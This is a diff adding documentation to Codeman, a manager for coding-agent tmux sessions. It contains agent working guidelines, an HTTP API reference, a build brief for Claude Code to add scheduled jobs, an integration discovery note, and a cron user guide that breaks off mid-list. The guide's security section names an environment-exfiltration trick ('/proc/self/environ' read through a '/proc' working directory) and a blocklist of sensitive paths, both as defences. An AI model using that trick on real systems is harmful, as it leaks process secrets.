+  or fail locally. Always pass a file or `-t`, or use `test:ci`.
+- ⚠️ **Never COM without verifying the change actually works** first (curl the
+  endpoint / Playwright the UI). "Compiles" ≠ "works".
+- ⚠️ **Session safety** — check `$CODEMAN_MUX`; never `tmux kill-session` /
+  `pkill claude` in a managed session.
+- ⚠️ **Single-line prompts** for any programmatic session input.
+
+---
+
+## Speed tactics that pay off here
+
+- **Parallel exploration**: dispatch `Explore` subagents (or one parallel grep
+  burst) instead of serial file-by-file reading when scope is uncertain.
+- **`tsc --noEmit --watch`** in the background — instant type feedback, no repeat
+  cold starts.
+- **Target one test file** — `fileParallelism: false` means the suite is serial;
+  running one file is dramatically faster than the sweep.
+- **`curl localhost:3000/api/...`** beats spinning up a browser for backend
+  checks. Reserve Playwright for actual UI rendering.
+- **Trust the harness** — if it says a file you just edited is current, don't
+  re-Read it to "confirm". The Edit already succeeded or it would have errored.
+
+---
+
+## Anti-patterns (these masquerade as speed, but cost time)
+
+- Running the full test suite to check a one-file change.
+- Re-reading files you already have in context.
+- Narrating a plan you're about to execute anyway.
+- Serial tool calls that have no dependency between them.
+- Claiming "done / fixed / passing" **before** running the check that proves it.
+- Deploying (COM) on green typecheck alone, without exercising the real flow.
+
+---
+
+## Stop-conditions (don't rush past these)
+
+Stop and surface, don't guess, when you hit:
+- A **destructive / hard-to-reverse** action (delete, overwrite, force-push).
+- An **outward-facing** action (publishing, sending, deploying) not already
+  authorized.
+- A **genuine product decision** the code can't answer.
+- A **failing verification you can't explain** — debug it (see
+  `superpowers:systematic-debugging`), don't paper over it.
+
+---
+
+## Definition of done
+
+A task is done when **all** hold:
+- The change is made.
+- The cheapest sufficient check **ran** and **passed** — evidence, not assertion.
+- No new type errors / lint errors introduced (`tsc --noEmit`, `npm run lint`).
+- You state plainly what was done and what proved it. If a step was skipped or a
+  test failed, say so — don't hedge, don't overclaim.

+# HTTP API Reference
+
+Codeman's HTTP API is a **stable contract** as of 1.0 — see
+[`versioning-policy.md`](versioning-policy.md) for the SemVer guarantee. This page
+defines the response envelope, status codes, error codes, versioning, and the SSE
+event channel.
+
+## Versioning
+
+- The stable, public surface is served under **`/api/v1/...`**. Pin external
+  clients to this prefix.
+- The unversioned **`/api/...`** paths are a permanent alias of the current
+  version (what the bundled web UI uses). They are kept working, but new external
+  integrations should use `/api/v1`.
+- Breaking changes to the contract ship under a new prefix (`/api/v2`); `/api/v1`
+  keeps its semantics. Additive changes (new endpoints, new optional fields, new
+  error codes) are non-breaking and may appear in a minor release.
+- The implementation rewrites `/api/v1/*` → `/api/*` at the server level
+  (`rewriteApiV1Url` in `src/web/server.ts`).
+
+## Response envelope
+
+Every JSON response uses one uniform envelope, applied centrally by a
+`preSerialization` hook (`src/web/server.ts`) — handlers return bare data and the
+hook wraps it:
+
+**Success** — HTTP `2xx`:
+
+```json
+{ "success": true, "data": <payload> }
+```
+
+`data` is the endpoint's payload (object, array, or value). Endpoints with no
+payload return `{ "success": true, "data": {} }`.
+
+**Error** — HTTP `4xx`/`5xx`:
+
+```json
+{ "success": false, "error": "human-readable message", "errorCode": "NOT_FOUND" }
+```
+
+`ApiResponse<T>` in `src/types/api.ts` is the canonical type.
+
+> Non-JSON endpoints are exempt from the envelope: `GET /api/sessions/:id/file-raw`,
+> `GET /api/sessions/:id/tail-file` (SSE), `GET /api/download`,
+> `GET /api/screenshots/:name`, `GET /q/:code` (QR redirect), and the
+> `GET /ws/sessions/:id/terminal` WebSocket upgrade.
+
+## Error codes → HTTP status
+
+The single source of truth is `ErrorStatus` / `httpStatusForErrorCode()` in
+`src/types/api.ts`. Clients should branch on `errorCode` (stable) and may rely on
+the HTTP status.
+
+| `errorCode` | HTTP | Meaning |
+|-------------|------|---------|
+| `INVALID_INPUT` | 400 | Malformed request / failed validation |
+| `UNAUTHORIZED` | 401 | Authentication required or failed |
+| `NOT_FOUND` | 404 | Resource does not exist |
+| `SESSION_BUSY` | 409 | Session is busy |
+| `CONFLICT` | 409 | Conflicts with current state (e.g. already running) |
+| `ALREADY_EXISTS` | 409 | Resource already exists |
+| `OPERATION_FAILED` | 422 | Well-formed but could not be completed |
+| `RATE_LIMITED` | 429 | Too many requests |
+| `INTERNAL_ERROR` | 500 | Unexpected server error |
+
+Adding a new error code is non-breaking; removing or renaming one is a major change.
+
+## Authentication
+
+Optional HTTP Basic (`CODEMAN_USERNAME`/`CODEMAN_PASSWORD`) → opaque
+`codeman_session` cookie. When enabled, unauthenticated requests get
+`401 UNAUTHORIZED`; rate-limited requests get `429 RATE_LIMITED`. See
+[`security-architecture.md`](security-architecture.md).
+
+## SSE event channel
+
+`GET /api/events` is a Server-Sent Events stream (`text/event-stream`); each
+message is `event: <name>` + `data: <json>`. The event-name registry
+(`src/web/sse-events.ts`, mirrored in `src/web/public/constants.js`) is part of
+the stable contract — event names are not renamed without a major bump. An
+optional `?sessions=<id,...>` filter suppresses only the high-volume terminal
+stream; lifecycle/metadata events are delivered to all clients regardless.
+
+## Consuming from JavaScript
+
+The bundled frontend reads responses through `_apiJson()`
+(`src/web/public/api-client.js`), which unwraps `{success:true,data}` → `data` and
+returns `null` on a non-2xx / `{success:false}` response. External clients should
+do the same: check the HTTP status (or `body.success`), then read `body.data`.

+#### Asynchronous Rewake
+
+Command hooks can set `"asyncRewake": true` to run asynchronously and wake an
+idle Claude turn when the hook exits with code 2. The hook's stderr is delivered
+to Claude as a system reminder. This implies `"async": true`; ordinary async
+hooks do not wake an idle turn, and their output waits for the next interaction.
+
+Codeman uses this on `PostToolUse(Bash)`: a self-contained Node helper extracts
+the background task ID from the Bash result, watches the session transcript for
+the matching completion notification, and exits 2. It does not send terminal
+input, so it cannot submit a user's partially written prompt.

+# Claude Code Build Brief: Add Scheduling to Codeman
+
+## 0. Purpose of This Brief
+
+You are Claude Code working inside the Codeman repository.
+
+Your task is to add a **small, reliable scheduling layer** to Codeman while preserving Codeman's existing architecture and session-management behavior.
+
+This is not a greenfield rewrite. This is not a full product rebuild. This is a focused extension.
+
+The target user wants Codeman-like tmux/web/session management, but with first-class scheduled jobs for Claude, Codex, OpenCode, Terminal, or any other configurable coding-agent harness.
+
+---
+
+## 1. Non-Negotiable Goal
+
+Add scheduling to Codeman so a user can define a scheduled coding-agent job that:
+
+1. Has a name.
+2. Uses an existing Codeman-supported agent/session type where possible.
+3. Has a working directory.
+4. Has a prompt or prompt file.
+5. Has a schedule.
+6. Can be enabled or disabled.
+7. Can be manually run now.
+8. When due, creates a Codeman/tmux session.
+9. Sends the configured prompt into that session.
+10. Records last run, next run, status, and run history.
+
+The first working version should prioritize **scheduling correctness and reuse of Codeman's existing tmux/session system** over UI polish.
+
+---
+
+## 2. Core Architectural Rule
+
+Do **not** rebuild Codeman's session layer.
+
+Reuse existing Codeman functionality for:
+
+- Creating sessions.
+- Naming sessions.
+- Launching Claude/Codex/OpenCode/Terminal sessions.
+- Sending input into sessions.
+- Displaying sessions in the web UI.
+- Killing sessions.
+- Tracking session status if already supported.
+
+If an internal API/service/function already exists, reuse it.
+
+If no reusable function exists, create a thin wrapper around the existing implementation rather than duplicating logic.
+
+---
+
+## 3. Product Boundary
+
+This build is **Codeman + Scheduler**.
+
+It is not yet:
+
+- A full quota engine.
+- A full lock manager.
+- A replacement for Codeman's terminal UI.
+- A new FastAPI application.
+- A multi-tenant SaaS platform.
+- A complex cron-management product.
+- A full agent autonomy framework.
+
+Keep the build small and shippable.
+
+---
+
+## 4. Required Working Scope for v0.1
+
+Implement the following minimum features.
+
+### 4.1 Scheduled Jobs List
+
+Create a UI page showing all scheduled jobs.
+
+Each row/card should show:
+
+- Job name.
+- Agent/session type.
+- Working directory.
+- Schedule type.
+- Enabled/disabled state.
+- Last run time.
+- Next run time.
+- Last run status.
+- Actions:
+  - Run Now.
+  - Enable/Disable.
+  - Edit.
+  - Delete.
+
+### 4.2 Create/Edit Scheduled Job
+
+Create a form for scheduled jobs with these fields:
+
+- `name`
+- `agent_type`
+  - Reuse Codeman's existing session/agent types where possible.
+  - Include at least Terminal/custom command if supported.
+- `working_directory`
+- `launch_command` if needed by Codeman's model.
+- `prompt_mode`
+  - `inline_text`
+  - `prompt_file_path`
+- `prompt_text`
+- `prompt_file_path`
+- `input_mode`
+  - `paste`
+  - `typed`
+- `schedule_type`
+  - `once`
+  - `interval_minutes`
+  - `daily_time`
+  - `weekly_time`
+- `run_at` for one-time jobs.
+- `interval_minutes` for interval jobs.
+- `daily_time` for daily jobs.
+- `weekly_days` and `weekly_time` for weekly jobs.
+- `enabled`
+- `notes` optional.
+
+Do not build a complex visual cron editor in v0.1.
+
+### 4.3 Run Now
+
+Every scheduled job must support a `Run Now` action.
+
+Run Now should:
+
+1. Create a new session through Codeman's existing session creation logic.
+2. Send the configured prompt into the session using Codeman's existing input mechanism.
+3. Create a run-history record.
+4. Update last-run fields.
+5. Redirect or link the user to the created Codeman session.
+
+### 4.4 Background Scheduler Loop
+
+Add a small background scheduler loop that runs inside the Codeman backend process.
+
+The loop should:
+
+1. Wake every 15-60 seconds.
+2. Load enabled schedules.
+3. Find schedules where `next_run_at <= now`.
+4. Create a scheduled run.
+5. Launch the session using existing Codeman session logic.
+6. Send the prompt.
+7. Record run history.
+8. Compute the next run time.
+9. Avoid duplicate launches if the loop overlaps or restarts.
+
+Keep this simple and robust.
+
+### 4.5 Run History
+
+Every scheduled execution should create a run-history record.
+
+Track:
+
+- `id`
+- `scheduled_job_id`
+- `session_id` or Codeman session reference.
+- `session_name` if applicable.
+- `started_at`
+- `finished_at` optional.
+- `status`
+  - `created`
+  - `session_started`
+  - `prompt_sent`
+  - `failed`
+- `error_message` optional.
+- `trigger_type`
+  - `scheduled`
+  - `manual_run_now`
+- `created_session_url` or route reference if easy.
+
+---
+
+## 5. Scheduling Rules
+
+### 5.1 Once
+
+Run at a specific date/time.
+
+After successful launch:
+
+- Set `enabled = false`, or mark as completed.
+
+### 5.2 Interval
+
+Run every N minutes.
+
+Example:
+
+- Every 60 minutes.
+- Every 240 minutes.
+
+After launch:
+
+- `next_run_at = now + interval_minutes`.
+
+### 5.3 Daily
+
+Run every day at HH:MM.
+
+After launch:
+
+- Compute the next occurrence of HH:MM after now.
+
+### 5.4 Weekly
+
+Run on selected weekdays at HH:MM.
+
+After launch:
+
+- Compute the next selected weekday/time after now.
+
+### 5.5 Timezone
+
+Use the server's local timezone for v0.1 unless Codeman already has timezone handling.
+
+Add a visible note in the UI:
+
+> Times use the server's local timezone.
+
+Do not overbuild timezone support in v0.1.
+
+---
+
+## 6. Data Storage Decision
+
+First inspect Codeman's existing persistence model.
+
+If Codeman already has a database or persistence layer:
+
+- Reuse it.
+- Add scheduled job and scheduled run models/tables/records using the existing pattern.
+
+If Codeman uses files or JSON state:
+
+- Use the same style for v0.1.
+- Prefer simple persistence over introducing a heavy new dependency.
+
+If there is no appropriate persistence layer:
+
+- Add SQLite only if it fits the codebase cleanly.
+- Otherwise use a JSON file store for the first version.
+
+Do not introduce Postgres, Redis, Celery, or a separate scheduler service.
+
+---
+
+## 7. Concurrency and Duplicate-Run Guard
+
+Implement a basic duplicate-run guard.
+
+A schedule should not launch twice for the same due time.
+
+Minimum acceptable approach:
+
+- Before launching, create/update a run record with a `created` or `launching` state.
+- Use a schedule-level `last_triggered_at` or `last_due_key` to avoid double launching.
+- If launch fails, record failure clearly.
+
+Do not build distributed locks. Codeman is expected to be local/single-instance for v0.1.
+
+---
+
+## 8. Multi-Session Warning
+
+When the user clicks `Run Now`, show a warning if there are already active sessions for the same agent type.
+
+Minimum behavior:
+
+- If active sessions exist, show a confirmation warning.
+- User can continue anyway.
+
+For scheduled automatic runs:
+
+- Add a setting on the scheduled job:
+  - `warn_only`
+  - `skip_if_same_agent_running`
+
+Default:
+
+- `warn_only` for manual runs.
+- `skip_if_same_agent_running = false` for automatic runs unless easy to implement.
+
+Do not build a complete quota engine in v0.1.
+
+---
+
+## 9. Prompt Sending Rules
+
+The scheduler must support sending the configured prompt into the created session.
+
+Prompt source:
+
+1. Inline prompt text.
+2. Prompt file path.
+
+Input mode:
+
+1. Paste mode.
+2. Typed mode.
+
+If only one input mode is easy with Codeman's current internals, implement that first and structure the code so the other can be added later.
+
+Important:
+
+- Do not send prompts to a session if session creation failed.
+- Record prompt-send success/failure in run history.
+- Save enough metadata to understand what prompt was used.
+
+---
+
+## 10. UI Bifurcation
+
+Keep UI changes cleanly separated.
+
+Add scheduler UI under a clear navigation item:
+
+- `Scheduled Jobs`
+
+Do not clutter the existing session dashboard.
+
+The existing session dashboard may show sessions created by scheduled jobs, but the scheduling controls should live in their own section.
+
+Recommended pages/routes:
+
+- `/schedules`
+- `/schedules/new`
+- `/schedules/:id`
+- `/schedules/:id/edit`
+- `/schedules/:id/run-now`
+- `/schedules/:id/enable`
+- `/schedules/:id/disable`
+- `/schedules/:id/delete`
+
+Use Codeman's existing frontend conventions and routing style.
+
+---
+
+## 11. Backend Bifurcation
+
+Keep scheduler code separate from existing session code.
+
+Recommended logical modules, adapted to Codeman's actual structure:
+
+- `scheduler/model` or equivalent.
+- `scheduler/store` or equivalent.
+- `scheduler/service` for schedule calculations and launch logic.
+- `scheduler/loop` for the background due-job checker.
+- `scheduler/routes` for API/UI endpoints.
+- `scheduler/time` for next-run calculations.
+
+Do not mix scheduling logic directly into terminal rendering, xterm handling, or low-level tmux code.
+
+The scheduler service should call session services; it should not own tmux directly unless Codeman has no session abstraction.
+
+---
+
+## 12. Required Discovery Phase Before Coding
+
+Before implementing, inspect the Codeman repo and produce a short architecture note in the terminal or in a file called:
+
+`docs/cron-discovery.md`
+
+This note must identify:
+
+1. Where session creation happens.
+2. Where agent/session types are defined.
+3. Where input is sent into a session.
+4. Where active sessions are listed.
+5. Where session kill/delete is handled.
+6. How session state is stored.
+7. Whether there is existing persistence.
+8. Where backend routes live.
+9. Where frontend pages/components live.
+10. The smallest integration points for scheduling.
+
+Do not start coding until this discovery is complete.
+
+---
+
+## 13. Implementation Phases
+
+### Phase 1: Discovery
+
+Deliverable:
+
+- `docs/cron-discovery.md`
+
+Must answer the 10 discovery questions above.
+
+### Phase 2: Data Model / Persistence
+
+Deliverable:
+
+- Scheduled job persistence.
+- Scheduled run history persistence.
+- Basic create/read/update/delete operations.
+
+### Phase 3: Scheduler Calculation Logic
+
+Deliverable:
+
+- Functions to compute `next_run_at` for:
+  - once
+  - interval
+  - daily
+  - weekly
+
+Add tests if the repo has an existing test setup.
+
+### Phase 4: Manual Run Now
+
+Deliverable:
+
+- Create scheduled job.
+- Click Run Now.
+- Codeman session is created.
+- Prompt is sent.
+- Run history is recorded.
+- UI links to the session.
+
+This is the most important milestone.
+
+### Phase 5: Background Scheduler Loop
+
+Deliverable:
+
+- Enabled schedules launch automatically when due.
+- Run history is recorded.
+- `last_run_at` and `next_run_at` update.
+- Duplicate launch guard exists.
+
+### Phase 6: UI Polish Only After Functionality
+
+Deliverable:
+
+- Scheduled jobs list is readable.
+- Create/edit form is usable.
+- Status labels are clear.
+- Errors are visible.
+
+Do not polish before Phase 4 works.
+
+---
+
+## 14. Acceptance Criteria
+
+The build is acceptable when all these pass.
+
+### Manual Run
+
+1. Create a schedule/job with inline prompt.
+2. Click Run Now.
+3. A new Codeman/tmux session starts.
+4. Prompt is sent into that session.
+5. The created session is visible in Codeman's normal session UI.
+6. Run history shows success or failure.
+
+### One-Time Schedule
+
+1. Create a one-time schedule 2 minutes in the future.
+2. Wait for it to become due.
+3. Scheduler launches a session.
+4. Prompt is sent.
+5. Schedule does not repeatedly launch forever.
+
+### Interval Schedule
+
+1. Create interval schedule every 2 minutes.
+2. It launches once when due.
+3. It computes the next due time.
+4. It does not launch duplicates for the same due time.
+
+### Daily Schedule
+
+1. Create daily schedule at a time a few minutes ahead.
+2. It launches when due.
+3. Next run becomes tomorrow at the same time.
+
+### Disable Schedule
+
+1. Disable a schedule.
+2. It does not launch even when due.
+
+### Error Handling
+
+1. Invalid working directory produces visible error.
+2. Invalid prompt file produces visible error.
+3. Failed session launch creates failed run-history entry.
+
+---
+
+## 15. Explicitly Out of Scope for v0.1
+
+Do not implement these unless all required scope is already working:
+
+- Full quota engine.
+- Advanced lock manager.
+- Post-run git inspection reports.
+- Complex recurring calendar UI.
+- User accounts / RBAC.
+- External distributed workers.
+- Redis.
+- Postgres.
+- Celery.
+- Kubernetes.
+- A separate Python service.
+- Full visual cron editor.
+- AI-generated follow-up prompts.
+- Automatic continuation after idle.
+- Any attempt to bypass agent quotas or platform limits.
+
+---
+
+## 16. Quality Rules
+
+Follow these rules while coding:
+
+1. Reuse existing Codeman services and conventions.
+2. Keep scheduler code isolated.
+3. Prefer boring, readable code over clever abstractions.
+4. Add error messages that a human can understand.
+5. Do not break existing Codeman sessions.
+6. Do not rename existing core concepts unnecessarily.
+7. Do not introduce large dependencies without strong reason.
+8. Keep v0.1 local-first and single-instance.
+9. Commit in logical chunks if git is available.
+10. After coding, provide a final implementation summary.
+
+---
+
+## 17. Final Response Required from Claude Code
+
+At the end, report:
+
+1. Files changed.
+2. New routes/pages added.
+3. New data structures added.
+4. How the scheduler loop works.
+5. How to run the app.
+6. How to test manual Run Now.
+7. How to test scheduled execution.
+8. Known limitations.
+9. Suggested v0.2 improvements.
+
+---
+
+## 18. v0.2 Ideas, Not for Current Build
+
+Keep these in mind but do not build unless v0.1 is complete:
+
+- Quota-aware scheduling.
+- Manual takeover locks.
+- Post-idle inspection.
+- Git diff reports.
+- Schedule groups.
+- Prompt templates.
+- Agent-specific concurrency rules.
+- Better timezone support.
+- Audit events.
+- More advanced cron expressions.
+
+---
+
+## 19. Final Reminder
+
+The goal is to add **scheduling** to Codeman quickly and cleanly.
+
+Do not drift into building a new platform.
+
+The highest-priority path is:
+
+1. Discover existing Codeman integration points.
+2. Add scheduled job persistence.
+3. Add Run Now.
+4. Add background due-job loop.
+5. Add minimal UI.
+6. Verify that scheduled jobs create real Codeman/tmux sessions and send prompts.

+`src/web/ports/infra-port.ts:14-26`, `src/web/server.ts:1480-1605`). It is a
+**run-now, duration-bounded autonomous loop**: given `{prompt, workingDir,
+durationMinutes}` it immediately spawns/kills throwaway sessions in a loop until
+the duration elapses. It has **no** time-based triggering, recurrence
+(once/interval/daily/weekly), enable/disable, next-run calculation, run history,
+or persistence across restarts.
+
+Therefore the brief's core (the calendar/cron trigger layer) does **not** exist
+and must be built. The execution primitives it sits on top of **do** exist and
+will be reused. To honor brief §16 ("do not rename existing core concepts"), the
+new feature is named **`CronJob`** (with **`CronJobRun`** history
+records), kept distinct from the existing `ScheduledRun`.
+
+---
+
+## 1. Where session creation happens
+
+- Canonical create flow: `POST /api/sessions`,
+  `src/web/routes/session-routes.ts:262-438`.
+  - `new Session({ workingDir, mode, ... })` (`src/session.ts:421-570`)
+  - `ctx.addSession(session)` → `ctx.setupSessionListeners(session)` →
+    `ctx.persistSessionState(session)` (all via `SessionPort`).
+- `SessionPort` interface: `src/web/ports/session-port.ts:8-16`.
+- **Integration point:** the cron service will mirror this exact sequence
+  (create → addSession → setupSessionListeners → start) via `SessionPort`,
+  not reimplement it.
+
+## 2. Where agent/session types are defined
+
+- `type SessionMode = 'claude' | 'shell' | 'opencode' | 'codex' | 'gemini'`
+  (`src/types/session.ts:43-44`). `shell` covers the brief's "Terminal/custom".
+- CLI availability resolvers in `src/utils/{claude,codex,gemini,opencode}-cli-resolver.ts`.
+- **Integration point:** the job's `agentType` reuses `SessionMode` verbatim.
+
+## 3. Where input is sent into a session
+
+- Raw / paste: `session.write(data)` (`src/session.ts:2243-2247`) — direct PTY write.
+- Typed (recommended): `session.writeViaMux(data)` (`src/session.ts:2301-2311`)
+  — tmux `send-keys`, falls back to PTY. Submit requires trailing `\r`.
+- **Integration point:** prompt delivery uses `writeViaMux` (typed) by default,
+  `write` (paste) as the alternate `input_mode`.
+
+## 4. Where active sessions are listed
+
+- `ctx.sessions: ReadonlyMap<string, Session>` (`SessionPort`).
+- Filters: `Array.from(ctx.sessions.values()).filter(s => s.mode === X)` and
+  `.isBusy()` / `.isIdle()` (`src/session-manager.ts:220-247`).
+- **Integration point:** the §8 multi-session warning queries this map.
+
+## 5. Where session kill/delete is handled
+
+- `ctx.cleanupSession(sessionId, killMux?, reason?)`
+  (`SessionPort`; impl `src/web/server.ts:997-1152`). Underlying
+  `session.stop(killMux)` at `src/session.ts:2498-2585`.
+- The cron does **not** kill sessions it launches (the brief wants them
+  visible in the normal session UI); cleanup stays user-driven.
+  _Superseded post-review:_ recurring jobs now default to
+  `autoClosePreviousSession: true` — the previous run's still-open session is
+  closed via `cleanupSession` when the next run fires (see
+  `docs/cron-guide.md` §8); opt out per job for fully user-driven cleanup.
+
+## 6. How session state is stored / 7. Existing persistence
+
+- JSON file store: `~/.codeman/state.json` (+ `state-inner.json` for Ralph).
+  `StateStore` class `src/state-store.ts:71`; `AppState` interface
+  `src/types/app-state.ts:99-114`.
+- Pattern: declare a field on `AppState`, add typed get/set methods on
+  `StateStore` that mutate in-memory state and call the debounced `save()`
+  (500ms debounce, atomic temp-file+rename, `.bak` backup, circuit breaker).
+- **Integration point:** add `cronJobs?: Record<string, CronJob>` and
+  `cronJobRuns?: Record<string, CronJobRun>` to `AppState`, with
+  matching `StateStore` accessors. No new DB (brief §6 forbids Postgres/Redis).
+
+## 8. Where backend routes live
+
+- Route modules: `src/web/routes/*.ts`; barrel `src/web/routes/index.ts`;
+  registered in `WebServer.setupRoutes()` `src/web/server.ts:858-876` with a
+  single `ctx` object from `createRouteContext()` (`src/web/server.ts:553-613`)
+  that satisfies all port interfaces.
+- Validation: zod schemas in `src/web/schemas.ts`, applied via
+  `parseBody(Schema, req.body)` (`src/web/route-helpers.ts:101-111`).
+- Errors: `createErrorResponse(ApiErrorCode.X, msg)` / `ApiResponse`
+  (`src/types/api.ts`), auto-mapped to HTTP status by a `preSerialization` hook
+  (`src/web/server.ts:644-659`).
+- SSE: `ctx.broadcast(SseEvent.X, data)` (`EventPort`,
+  `src/web/sse-events.ts`); frontend mirror in `src/web/public/constants.js`.
+- **Integration point:** new `cron-routes.ts` registered alongside the
+  others; new zod schema; new `SseEvent` constants for job list/run changes.
+
+## 9. Where frontend pages/components live
+
+- Vanilla-JS SPA: single `src/web/public/index.html` + feature mixin files
+  (`Object.assign(CodemanApp.prototype, {...})`). API via `api-client.js`
+  (`_apiJson/_apiPost/_apiDelete`). Build = esbuild minify + content-hash, no
+  bundler (`scripts/build.mjs`).
+- UI is panels/modals toggled by JS classes; forms use `.form-row` / `.modal`
+  conventions (`styles.css`). SSE handler map in `app.js`.
+- **Integration point:** add a new `cron-ui.js` mixin + a panel/modal in
+  `index.html` + nav entry, following the orchestrator/respawn panel pattern.
+
+## 10. Background-loop pattern (for the due-checker)
+
+- Established pattern: `this.cleanup.setInterval(fn, intervalMs, {description})`
+  in `WebServer.start()` (`src/web/server.ts:~1942-1966`), auto-disposed in
+  `WebServer.stop()` via `this.cleanup.dispose()` (`src/web/server.ts:2336`).
+  RalphLoop (`src/ralph-loop.ts:268-286`) shows the self-rescheduling guard idiom.
+- **Integration point:** register a 30s cron tick via `cleanup.setInterval`;
+  no manual shutdown wiring needed.
+

+
+| New piece | Reuses | Location |
+| --- | --- | --- |
+| `CronJob` / `CronJobRun` types | — (new) | `src/types/cron.ts` |
+| Persistence | `StateStore` / `AppState` | `src/types/app-state.ts`, `src/state-store.ts` |
+| Next-run time math | — (new, pure, unit-tested) | `src/cron/cron-time.ts` |
+| Launch + send prompt | `SessionPort` (`addSession`/listeners/`writeViaMux`) | `src/cron/cron-service.ts` |
+| Background due loop | `cleanup.setInterval` pattern | `src/cron/cron-loop.ts` |

+| UI | panel/modal/mixin conventions | `src/web/public/cron-ui.js`, `index.html` |
+
+Nothing in the session, tmux, persistence, routing, or SSE subsystems is
+rewritten — the cron is additive and calls existing services.

+# Cron Jobs — User & Operator Guide
+
+Codeman's **Cron** feature lets you save named, recurring jobs that automatically
+spin up a Claude (or shell / OpenCode / Codex / Gemini) session on a schedule and
+feed it a prompt. Think "cron for agent sessions": _"every weekday at 3am, open a
+Claude session in `~/proj` and tell it to update dependencies and open a PR."_
+
+- **UI**: the **⏰ Cron** button in the header → the Cron Jobs modal (`#cronModal`).
+- **API**: `/api/cron/jobs*` and `/api/cron/runs`.
+- **Code**: `src/cron/cron-service.ts`, `src/cron/cron-time.ts`, `src/cron/cron-input.ts`,
+  types in `src/types/cron.ts`, routes in `src/web/routes/cron-routes.ts`,
+  frontend in `src/web/public/cron-ui.js`.
+
+> **Not to be confused with `ScheduledRun` (`/api/scheduled`).** That older,
+> deliberately-separate concept is a _run-now, duration-bounded autonomous loop_
+> (`{prompt, workingDir, durationMinutes}` → spawn/kill throwaway sessions until
+> the duration elapses). It has no recurrence, no saved jobs, and no next-run
+> calculation. The two systems never interact. This guide is only about **Cron
+> jobs** (`Cron*`). See `docs/cron-discovery.md` §0.
+
+---
+
+## 1. Quick start
+
+### In the browser
+
+1. Click **⏰ Cron** in the header.
+2. Click **+ New Job**.
+3. Fill in a **name**, pick an **agent type** and **working directory**, choose a
+   **prompt** (inline text or a file path), pick a **schedule**, and leave
+   **Enabled** on.
+4. **Save**. The job appears in the list with its computed **next run**.
+5. Use **Run Now** to fire it immediately without waiting for the schedule.
+
+### With curl
+
+```bash
+API=http://localhost:3000
+
+# Create a daily job (03:00 server-local time)
+curl -s -X POST "$API/api/cron/jobs" \
+  -H 'Content-Type: application/json' \
+  -d '{
+    "name": "nightly-deps",

+## 2. Concepts
+
+| Term                       | Meaning                                                                                          |
+| -------------------------- | ------------------------------------------------------------------------------------------------ |
+| **Cron job** (`CronJob`)   | A saved, named definition: what agent to launch, where, with what prompt, on what schedule.      |
+| **Run** (`CronJobRun`)     | One execution of a job — a history record with a status and a link to the session it created.    |
+| **Schedule type**          | How fire times are computed: `once`, `interval`, `daily`, or `weekly`.                           |
+| **Next run** (`nextRunAt`) | Server-computed epoch-ms of the next fire. `null` when the job is disabled or has no future run. |
+| **Due tick**               | A background loop (every 30s) that launches any enabled job whose `nextRunAt` has passed.        |
+
+A job is essentially a **trigger + persistence + history layer on top of the
+existing session primitives**. When a job fires, the cron service does exactly
+what the "quick start" route does — `new Session(...)` → `addSession` →
+`setupSessionListeners` → `startInteractive()`/`startShell()` → deliver the
+prompt. It does **not** reimplement any tmux/PTY logic.
+

+
+## 3. The job form — every field
+
+These map 1:1 to `CronJobSchema` (`src/web/schemas.ts`) and the `CronJob` type
+(`src/types/cron.ts`).
+
+| Field                      | Required    | Values / limits                                          | Notes                                                                                                                                                                                      |

+| `concurrencyPolicy`        | ✅          | `warn_only` \| `skip_if_same_agent_running`              | Applies to **automatic** runs only. See §7.                                                                                                                                                |
+| `autoClosePreviousSession` | —           | boolean (default **true**)                               | Recurring schedules only (ignored for `once`): when the next run fires, the still-open session created by this job's **previous** run is closed first via the normal cleanup path. See §8. |
+
+**Cross-field validation** (`refineCronJob` in `schemas.ts`): the conditional
+fields above are enforced by a Zod `superRefine` on create. A missing dependent
+field (e.g. `scheduleType: "once"` with no `runAt`) is rejected with
+`INVALID_INPUT` and a field-specific message.
+
+> ⚠️ **Update caveat.** `PUT /api/cron/jobs/:id` uses a `.partial()` schema that
+> does **not** re-run the cross-field `superRefine`. To keep partial edits safe,
+> `updateJob()` re-validates the **merged** job against the full `CronJobSchema`
+> and throws `400` if the result is inconsistent (e.g. switching to `once`
+> without a `runAt`). So the store is never left with a half-valid job.
+
+---
+
+## 4. Schedule types
+
+Next-run math lives in `src/cron/cron-time.ts` (pure, unit-tested in
+`test/cron-time.test.ts`). **All wall-clock times use the server's local
+timezone** (v0.1 decision).
+
+### `once`
+
+- Fires a single time at the absolute `runAt` epoch-ms.
+- A **missed** one-time job (server was down at `runAt`) **still fires once** on
+  the next tick — `computeNextRunAt` returns `runAt` even if it's in the past,
+  until the job has fired.
+- After firing, the job **self-disables**: `completedOnce = true`, `enabled =
+false`, `nextRunAt = null`.
+
+### `interval`
+
+- Fires every `intervalMinutes`, computed as `fireTime + intervalMinutes`.
+- ⚠️ **Drift**: the next run re-anchors to the actual fire time, not to an ideal
+  cadence — a slow tick or restart shifts subsequent runs slightly later. This is
+  an accepted limitation.
+
+### `daily`
+
+- Fires at `dailyTime` (`HH:MM`) every day, server-local.
+- If today's time has already passed, the next run is tomorrow at that time.
+
+### `weekly`
+
+- Fires at `weeklyTime` on each weekday in `weeklyDays` (0 = Sunday … 6 =
+  Saturday), server-local.
+- The next run is the soonest upcoming matching weekday/time within the next 7
+  days.
+
+---
+
+## 5. Prompt source (`promptMode`)
+
+### `inline_text`
+
+The prompt is the literal `promptText`. Simplest option.
+
+### `prompt_file_path`
+
+The prompt is read from a file at fire time. **This path is security-hardened**
+because a job config is attacker-controllable and the file's contents are
+injected into an agent session (an exfiltration sink over SSE/terminal).
+`resolveSafePromptPath()` enforces, in order:
+
+1. **`realpath` resolution** — symlinks are resolved to their true target, for
+   the prompt file **and for `workingDir` itself**.
+2. **`workingDir` is not a trust boundary** — because it is user-supplied, the
+   resolved `workingDir` is itself rejected if it is `/` or resolves into a
+   blocked tree (`/etc`, `/root`, operator extras) or a pseudo-filesystem
+   (`/proc`, `/sys`, `/dev`). This closes the `workingDir: '/proc'` +
+   `promptFilePath: '/proc/self/environ'` env-exfil trick. The same rule is
+   enforced earlier, at job create/update.
+3. **Blocklist** (defense-in-depth) — sensitive trees (`/etc`, `/root`,
+   `/proc`, `/sys`, `/dev`, known secret locations) are rejected for the
+   resolved prompt file.
+4. **Allowlist (primary gate)** — the resolved path **must live inside the job's
+   (resolved) `workingDir`** (`validateSessionFilePath`). A symlink escaping the
+   workspace fails here.
+5. **Regular-file check** — directories, FIFOs, and `/dev/*` character devices
